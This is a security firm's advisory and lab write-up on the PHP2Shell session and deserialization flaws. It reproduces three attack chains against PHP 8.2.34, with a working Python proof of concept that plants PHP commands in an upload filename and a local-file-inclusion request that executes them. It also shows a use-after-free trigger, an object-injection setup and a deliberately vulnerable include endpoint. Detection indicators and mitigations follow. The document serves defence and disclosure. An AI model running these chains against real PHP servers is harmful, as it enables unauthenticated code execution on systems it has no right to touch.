PHP2Shell (CVE-2026-109618 / CVE-2026-109619): three attack chains in session.upload_progress
Disclaimer
PRIDE Security makes no warranty regarding the information contained in this document and assumes no responsibility for any errors that may be present. In no event shall PRIDE Security or any of its partners be liable for damages arising from the use of the information described herein. PRIDE Security reserves the right to change or update this content without prior notice at any time.
Summary
On October 21, 2026, the PHP project released emergency updates (8.2.35, 8.3.36, 8.4.27, and 8.5.12) to fix two critical unauthenticated remote code execution (RCE) vulnerabilities: CVE-2026-109618 and CVE-2026-109619, both scoring 9.2 on CVSS v4.0. Collectively known as PHP2Shell, the flaws were the subject of a coordinated disclosure involving Calif.io, Wiz, OpenAI, and Quarkslab.
Although both involve memory-management issues, their root causes differ:
- CVE-2026-109618 β RCE via OOM corruption: a flaw in out-of-memory (OOM) handling that can corrupt internal structures during request shutdown.
- CVE-2026-109619 β RCE via stale global state: references to already-freed memory regions can persist in a worker's global state and be reused by later requests, resulting in a use-after-free.
Exploitation conditions vary by SAPI. For CVE-2026-109618, RCE was demonstrated on mod_php, while on PHP-FPM no complete exploitation chain has yet been presented. CVE-2026-109619 has chains validated on both interfaces, but on FPM it depends on application-specific conditions. Versions 8.1 and earlier (EOL) receive no new official releases, although source backports exist for 7.4, 8.0, and 8.1.
In this article, we analyze the vulnerabilities and reproduce, in a controlled lab with PHP 8.2.34, three techniques documented by Qi Deng (@ikow): Session File Injection + LFI, with remote code execution; Use-After-Free in var_destroy, confirmed by AddressSanitizer; and Handler Mismatch, with execution of the __destruct method of an injected object.
These three techniques do not directly reproduce the official CVEs, but they demonstrate other risks associated with session management and deserialization in PHP. The article presents the test evidence, detection indicators, and mitigation recommendations, prioritizing the update of affected installations.
| Item | Detail |
|---|---|
| Vulnerabilities | CVE-2026-109618 and CVE-2026-109619 |
| Severity | CVSS v4.0 9.2 |
| Fixed versions | PHP 8.2.35, 8.3.36, 8.4.27, and 8.5.12 |
| Surface | PHP installations serving web requests |
| Feature analyzed | session.upload_progress |
| Priority action | Apply the patch across the entire fleet |
This article does not reproduce the official CVE flaws. It reproduces, step by step and in a controlled environment, the three attack chains published by researcher Qi Deng (@ikow) β two tied to sessions (session.upload_progress and the serialization handler) and one in unserialize() β, a surface complementary to the CVEs, part of it known for years.
| Chain | Class | Preconditions | Reproduced result |
|---|---|---|---|
| Session File Injection + LFI | Logic bug | upload_progress=On (default) + cleanup=Off (or race) + LFI in the app |
RCE |
var_destroy UAF |
Memory corruption | unserialize() over controlled input |
heap-use-after-free confirmed via AddressSanitizer |
Handler Mismatch β __destruct |
Deserialization | Divergent handlers + POP gadget loaded during in-script decode | Handler mismatch + __destruct of the injected class executed |
The key takeaway for defense teams has two layers:
- The official CVEs affect installations in default configuration. Every PHP installation serving web is in scope for the patch; risk is highest on mod_php (pre-auth exploitation demonstrated before application code) and conditional on PHP-FPM. Either way, you cannot deprioritize "because we have no LFI": the patch applies to the entire fleet.
- The chains below depend on a second condition in the application β an LFI (Chain 1) or a deserialization gadget (Chain 3) β and in part exploit documented PHP behaviors (Chain 1 is a technique known for years). Their behavior on the fixed versions has not yet been verified (we did not re-run them on 8.2.35 or later). They call for code fixes and configuration hardening, as detailed at the end.

Technical background
PHP's session.upload_progress feature reports the progress of large uploads. When enabled, during the parsing of a multipart/form-data POST that contains a field with the name defined in session.upload_progress.name (default PHP_SESSION_UPLOAD_PROGRESS), PHP creates/updates a session variable with upload metadata β before the application script even runs.
Behaviors analyzed
The independent research chains four PHP behaviors β session and deserialization β that enable the chains below (none of them is, on its own, the root cause of the CVEs):
- Session fixation (claimed by the research) β according to @ikow, the
PHPSESSIDsent in the POST body would be accepted even withsession.use_only_cookies, per the still-open and unmerged PR php-src#22113. The PoCs in this text do not demonstrate this bypass: they fix thePHPSESSIDvia theCookieheader, only to make the session file path predictable. filenamestored without validation β the uploaded file's name is written raw into the session file.var_destroytriggers__destructon reentry β withoutBG(serialize_lock), causing use-after-free.__destructruns even when the session decode FAILS β allowing object injection via handler divergence.
Important distinction: the behaviors above are findings from the independent research aroundsession.upload_progressβ they are not the root-cause mechanisms of the CVEs. Per the official advisories, CVE-2026-109618 is state corruption in OOM handling and CVE-2026-109619 is use of stale global state (use-after-free) between requests on the same worker, for whichsession.upload_progressis only one of the consumers. Links are in the References section.
Test environment
Why isolate strictly: we are reproducing a chain that ends in code execution. The PHP container (the target) runs on a Docker--internalnetwork, with no route out; Nginx sits on a frontend network (p2s-front, which is not internal) solely to publish the HTTP service on loopback only (127.0.0.1:18080). The two controls confirmed below are: (i) the target container cannot reach the internet and (ii) the service only answers on loopback β so there is no claim that the entire composition is without external networking.
Image and version
The image used is the official php:8.2.34-fpm β the last vulnerable version before the patch (8.2.35):
docker pull php:8.2.34-fpm # arm64 in this case (Apple Silicon)
Permissive configuration
Lab php.ini. Note: this configuration is not the PHP default. Two directives were deliberately loosened to make the chains deterministic:
| Directive | PHP default | Lab | Effect |
|---|---|---|---|
session.upload_progress.cleanup |
On | Off | With On, progress data is cleared at the end of the upload and Chain 1 then requires a race condition |
session.use_only_cookies |
1 | 0 | Would accept the session ID outside the cookie. Not required for the PoCs in this text (which send the PHPSESSID via the Cookie header); it would only matter in the β undemonstrated β variant of sending the SID in the multipart body |
session.use_strict_mode |
0 (default up to PHP 8.5; changes in 8.6) | 0 (unchanged) | Accepts session IDs not initialized by the server, enabling fixation |
[Session]
session.save_handler = files
session.save_path = /tmp/sessions
session.use_strict_mode = 0
session.use_cookies = 1
session.use_only_cookies = 0
session.upload_progress.enabled = On
session.upload_progress.cleanup = Off
session.upload_progress.prefix = upload_progress_
session.upload_progress.name = PHP_SESSION_UPLOAD_PROGRESS
[PHP]
display_errors = On
file_uploads = On
post_max_size = 128M
upload_max_filesize = 128M
Test application
The main webroot files:
// index.php β starts the session
<?php session_start(); echo "PHP " . PHP_VERSION . "\n"; echo "SAPI " . PHP_SAPI . "\n";
echo "upload_progress " . ini_get('session.upload_progress.enabled') . "\n"; echo "OK\n";
// vuln.php β classic Local File Inclusion (the "second ingredient" of Chain 1)
<?php
$page = $_GET['page'] ?? 'home';
include($page);
For Chain 3, two directories with divergent .user.ini and their endpoints. The full webroot tree used in this PoC:
webroot/
βββ index.php # session_start() + info (Chain 1 write endpoint)
βββ vuln.php # include($_GET['page']) β simulated LFI (Chain 1)
βββ app/
β βββ .user.ini # session.serialize_handler = php_serialize
β βββ upload.php # <?php session_start(); echo "app ok\n"; (Chain 3 write)
βββ api/
βββ .user.ini # session.serialize_handler = php
βββ marker.php # Marker gadget class (see Handler Mismatch section)
βββ read.php # <?php require_once __DIR__.'/marker.php'; session_start(); β¦
read.php loads the gadget class and then calls session_start() β this is what forces the in-script decode required by Chain 3. upload.php only needs to start the session so that upload_progress persists the file in the directory with the php_serialize handler.
Startup and isolation check
docker network create --internal p2s-intdocker network create p2s-front
docker run -d --name php2shell-lab --network p2s-int --network-alias php </span>
-v $PWD/webroot:/var/www/html -v $PWD/php.ini:/usr/local/etc/php/php.ini:ro </span>
--cap-drop ALL --cap-add CHOWN --cap-add SETUID --cap-add SETGID --cap-add DAC_OVERRIDE </span>
--memory 512m --pids-limit 200 </span>
php:8.2.34-fpm bash -c "mkdir -p /tmp/sessions && chmod 1777 /tmp/sessions && exec php-fpm"
docker run -d --name php2shell-nginx --network p2s-front -p 127.0.0.1:18080:80 </span>
-v $PWD/webroot:/var/www/html:ro -v $PWD/nginx.conf:/etc/nginx/conf.d/default.conf:ro </span>
--memory 128m nginx:alpine
docker network connect p2s-int php2shell-nginx
Confirmation that the target container (PHP) has no internet egress:
$ docker exec php2shell-lab bash -c 'timeout 4 bash -c "</dev/tcp/1.1.1.1/80"'unreachable
bash: connect: Network is
Confirmation that the service only answers on loopback (refused on LAN, tailnet, and IPv6):
$ curl -s -o /dev/null -w "%{http_code}\n" http://127.0.0.1:18080/index.php# 200 -> only here
# other interfaces: connection refused
Instance sanity check:
$ curl -s http://127.0.0.1:18080/index.php
PHP 8.2.34
SAPI fpm-fcgi
upload_progress 1
OK
Technique walkthrough
Session File Injection + LFI β RCE
This is the chain with the greatest practical impact and illustrates the classic PHP_SESSION_UPLOAD_PROGRESS β LFI pattern β a technique known for years and predating the 2026 CVEs; it is not a reproduction of CVE-2026-109618. With cleanup = Off, the payload persists in the session file; with the default (On), the file must be included while the upload is still in progress, in a race condition.
The trigger: filename written raw into the session
A multipart/form-data POST is sent containing the PHP_SESSION_UPLOAD_PROGRESS field and a file whose name carries the payload. The PHPSESSID is fixed to know the session file path in advance.
import socket
SID = "pwnedchain1demo0000000000000"
fn = "<?php echo '---PWN---'; system('id; uname -a; whoami'); echo '---END---';?>"
b = "X"
body = (f'--{b}\r\nContent-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n\r\nx\r\n'
f'--{b}\r\nContent-Disposition: form-data; name="f"; filename="{fn}"\r\n\r\nZ\r\n--{b}--\r\n').encode()
h = (f"POST /index.php HTTP/1.1\r\nHost: x\r\n"
f"Content-Type: multipart/form-data; boundary={b}\r\n"
f"Content-Length: {len(body)}\r\nCookie: PHPSESSID={SID}\r\nConnection: close\r\n\r\n").encode()
s = socket.create_connection(("127.0.0.1", 18080), timeout=10)
s.sendall(h + body)
s.close()
Inspecting the resulting session file inside the container, the payload is written literally into the name field:
$ docker exec php2shell-lab cat /tmp/sessions/sess_pwnedchain1demo0000000000000
upload_progress_x|a:5:{...;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:1:"f";
s:4:"name";s:75:"<?php echo '---PWN---'; system('id; uname -a; whoami'); echo '---END---';?>"; ...}}}
No authentication was needed; the file was created at a predictable path (/tmp/sessions/sess_<SID>) with content controlled by the attacker.
The detonator: LFI including the session file
With an LFI in the application (vuln.php?page=), simply include the session file. PHP interprets the embedded <?php ... ?>:
$ curl -s "http://127.0.0.1:18080/vuln.php?page=/tmp/sessions/sess_pwnedchain1demo0000000000000"
Output (code executed in the FPM context):
---PWN---uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux 075180ea7906 7.1.5+kali-arm64 #1 SMP PREEMPT Kali 7.1.5-1kali1 (2026-07-29) aarch64 GNU/Linux
www-data
---END---
Chain 1 confirmed: from an unauthenticated POST to command execution as www-data, combining the upload progress mechanism with an LFI in the application β and also depending on the predictable SID, the files handler, the known path, and cleanup=Off (or a race condition).
Use-After-Free in var_destroy
This chain is a memory corruption and is only conclusively observable with an instrumented build. PHP 8.2.34 was compiled with AddressSanitizer in an ephemeral container.
Unlike the other two, it does not involve session.upload_progress and does not demonstrate RCE: what is proven here is a heap-use-after-free in the unserialize() path, flagged by AddressSanitizer. Turning it into code execution would require additional exploitation work not done in this text.
Instrumented build
# inside a debian:bookworm container, with --network=host (see note)libsqlite3-dev
apt-get install -y git ca-certificates build-essential autoconf bison re2c \
pkg-config libxml2-dev git clone --depth 1 --branch php-8.2.34 https://github.com/php/php-src.gitcd php-src && ./buildconf --forceCFLAGS="-fsanitize=address -g -O0" LDFLAGS="-fsanitize=address" \--disable-opcache
./configure --disable-all --enable-cli --enable-session --without-pcre-jit make -j2
Environment note: this is a build container, separate from the target, used only to compile PHP and run the PoC in CLI β no service is exposed on it. On Docker over Kali ARM64 (VM), it needed--network=hostforaptto reach the mirrors (the default bridge did not route egress); the target remains on the--internalnetwork. On other hosts,--network=hostis not needed.
Result:
PHP 8.2.34 (cli) (built: Oct 21 2026) (NTS)
Zend Engine v4.2.34
Triggering the UAF
The PoC builds a serialized array with more than 2000 entries (to overflow VAR_ENTRIES_MAX) and a duplicate key that moves an object with __destruct into the destruction list; inside that __destruct, a back-reference R:1500; tries to read the already-freed var_hash:
USE_ZEND_ALLOC=0 ASAN_OPTIONS="detect_leaks=0:abort_on_error=0:exitcode=0" \verify_uaf_asan.php
./sapi/cli/php
Excerpt of the AddressSanitizer report (edited for brevity):
[*] __destruct fired (serialize_lock=0, BG(unserialize).level>0)
[*] Attempting R:1500 backref into freed var_hash extension chunk...
==ERROR: AddressSanitizer: heap-use-after-free ... thread T0
READ of size 8 ...
#0 php_var_unserialize ext/standard/var_unserializer.re:856
#13 var_destroy ext/standard/var_unserializer.re:308 <- i_zval_ptr_dtor triggers __destruct
freed by thread T0 here:
#3 var_destroy ext/standard/var_unserializer.re:244 <- _efree_large frees the chunk
previously allocated by thread T0 here:
#4 var_push ext/standard/var_unserializer.re:124 <- var_hash extension chunk
SUMMARY: AddressSanitizer: heap-use-after-free ext/standard/var_unserializer.re:856 in php_var_unserialize
Reading the trace: var_destroy frees the var_hash extension chunk (line 244); then i_zval_ptr_dtor (line 308) triggers the object's __destruct without the serialize_lock; the internal unserialize('R:1500;') reuses the just-freed var_hash β read of freed memory (line 856). This is the mechanism described in @ikow's research, in the unserialize() path.
Handler Mismatch β __destruct
When the session is written by a directory configured with serialize_handler = php_serialize and read by another with serialize_handler = php, the | character present in the injected filename is interpreted by the php handler as a key|serialized-value separator.
The session is written via /app (php_serialize) with a | + serialized object in the filename, and then read via /api (php). The read produces the expected indicator:
Warning: PHP Request Startup: Failed to decode session object. Session has been destroyed
The warning alone shows only that the php handler interpreted the injected content and failed to decode β it does not prove that __destruct ran. To confirm, a harmless marker class is used:
// webroot/api/marker.php
<?php
class Marker {
public function __destruct() { file_put_contents('/tmp/marker_fired', 'MARKER __destruct @ '.date('c')."\n", FILE_APPEND); }
}
The object injected into the filename becomes O:6:"Marker":0:{}.
Where __destruct fires β and where it does not
This was the point that required experimental care. The session decode can happen at two distinct moments:
- At "PHP Request Startup" (when the
upload_progresshandler itself reads the existing session, before the script runs). At that instant the gadget class has not yet been loaded, so PHP materializes a__PHP_Incomplete_Classand__destructdoes not run. In the lab,/tmp/marker_firedwas not created on this path. - At
session_start()inside the script, with the class already defined (viarequire,autoload, orauto_prepend_file). Here the injected object is instantiated as a realMarkerand, when the session is destroyed by the failed decode, its__destructruns.
Forcing the second scenario β an endpoint that does require __DIR__.'/marker.php' and then session_start() β the warning now points to the script (no longer to "Request Startup") and the marker is written:
Warning: session_start(): Failed to decode session object. Session has been destroyed
in /var/www/html/api/read.php on line 1
$ docker exec php2shell-lab cat /tmp/marker_fired
MARKER __destruct @ 2026-10-21T15:53:19+00:00
Chain 3 confirmed: the __destruct of the injected object runs even with the decode failing. The practical condition for a real attack is that the POP gadget be loadable at the moment of the in-script decode β which can occur in applications that register autoloaders before starting the session (the autoloader alone is not enough for exploitation).
Detection
Look, in WAF/FPM/application logs, for:
- A
multipart/form-dataPOST containing thePHP_SESSION_UPLOAD_PROGRESSfield combined with afilenamecontaining<?php,|O:, or|a:. - PHP-FPM warnings:
Failed to decode session object,Session object destruction failed. In particular,PHP Request Startup: Failed to decode session objectsignals a Chain 3 exploitation attempt (handler divergence triggered at the start of the request) even when the gadget does not execute β worth alerting on regardless of outcome. - Requests to inclusion endpoints (
?page=,?file=, etc.) whose value points tosession.save_path(e.g.,/tmp/sess_...,/var/lib/php/sessions/...). - The field name is configurable via
session.upload_progress.name: the literalPHP_SESSION_UPLOAD_PROGRESSis only a reliable indicator where the default was kept.
Mitigations and recommendations
Prioritization
- Patch first, across the entire fleet. The official CVEs affect installations in default configuration (risk highest on mod_php); do not condition prioritization on the presence of LFI or
unserialize()in the application. The fixed versions (8.2.35, 8.3.36, 8.4.27, 8.5.12) are already published. On the disclosure day there were already working exploits; Cloudflare reported attack traffic against customers and payload mutation, with WAF rules deployed about 9 hours ahead of public disclosure (Cloudflare) β one more reason to apply the patch urgently. - Then, map the chains' surface. Cross-reference the PHP inventory with the application: user-controllable
include/require(Chain 1),unserialize()over external data (Chain 2), and divergent session handlers with a loadable gadget (Chain 3). All call for code fixes. - EOL PHP (8.1 and earlier) receives no official release. Source backports exist for 7.4, 8.0, and 8.1, but the sustainable path is migration.
Immediate mitigation
None of the measures below replace the patch. Per PHP, updating is the only complete solution; each setting reduces a specific attack path. The per-CVE recommendations follow the official advisory.
CVE-2026-109619 (stale global state):
session.upload_progress.enabled = Off
- Apply it in
php.ini, the FPM pool, or server configuration β before request parsing.ini_set()and the FPM.user.inirun too late. Restart all workers. - On PHP 8.5, also set
fatal_error_backtraces = 0(removes the state producer confirmed in that version) and restart the workers. - Remove invalid or deprecated per-request settings that emit diagnostics before initialization, and fix attacker-reachable fatal errors and timeouts. Hiding diagnostics (
error_reporting,display_errors,@) does not solve it.
CVE-2026-109618 (OOM corruption):
- Set
memory_limit = -1in a way the application cannot override (e.g.,php_admin_valuein the FPM pool or Apache configuration) and confirm no pool, directory, or application restores a finite limit. - Lower
post_max_size(8M when there are no uploads; 32M when there are), keepingupload_max_filesizebelow it. - Enforce, at the edge (web server or proxy), limits on decoded request size, field count, multipart parts, headers, and nesting β including for requests without a usable
Content-Length. - Use a container/cgroup memory limit as containment. Do not use
RLIMIT_ASorRLIMIT_DATA: they can trigger the vulnerable condition itself.
These measures cover only confirmed paths; other variants may remain until the patch.
Additional hardening
open_basedirrestricting access tosession.save_path.session.save_pathoutside any directory includable by the application.- Code review to eliminate LFIs and unsafe uses of
unserialize().
Conclusion
The three chains published by @ikow β two tied to sessions and one in unserialize() β were reproduced in an isolated lab: Chain 1 as full end-to-end RCE (in a permissive configuration), Chain 2 with heap-use-after-free confirmed by AddressSanitizer (no RCE), and Chain 3 with the __destruct of the injected class actually executed (under the condition that the gadget is loaded at the moment of the in-script decode). The takeaway for our clients is twofold: apply the already-published patch across the entire fleet, because the official CVEs affect installations in default configuration (with risk highest on mod_php), and map the applications' surface β LFIs and deserializations β that turn these PHP quirks into code execution even outside the CVEs.
Acknowledgments
| Name | Company |
|---|---|
| Paulo Melo | PRIDE Security |
Credits
- Original research and PoC of the three chains: Qi Deng (@ikow) β github.com/ikow/php2shell-poc.
References
- Official PHP announcement (2026-10-21): https://www.php.net/archive/2026.php#2026-10-21-5
- Advisory CVE-2026-109618 β RCE via OOM corruption (GHSA-w8hw-w9fx-j79w): https://github.com/php/php-src/security/advisories/GHSA-w8hw-w9fx-j79w
- Advisory CVE-2026-109619 β RCE via stale global state (GHSA-6wmf-4rv5-p3rp): https://github.com/php/php-src/security/advisories/GHSA-6wmf-4rv5-p3rp
- Fix commit "Avoid state corruption via bailout", which cites both CVEs β php/php-src:
01a40e8(PHP-8.2) and31c0ea7(PHP-8.5). - Release notes (ChangeLog): PHP 8.5.12, 8.4.27, 8.3.36, and 8.2.35.
- Open (unmerged) PR on RFC 1867 session fixation: php-src#22113.
- Discovery of the flaws and the PHP2Shell name: Wiz Research, Calif, and OpenAI Codex Security β coordinated disclosure at https://www.php2shell.com/.
- Third-party analyses consulted: Rapid7, AlmaLinux, and Brandefense.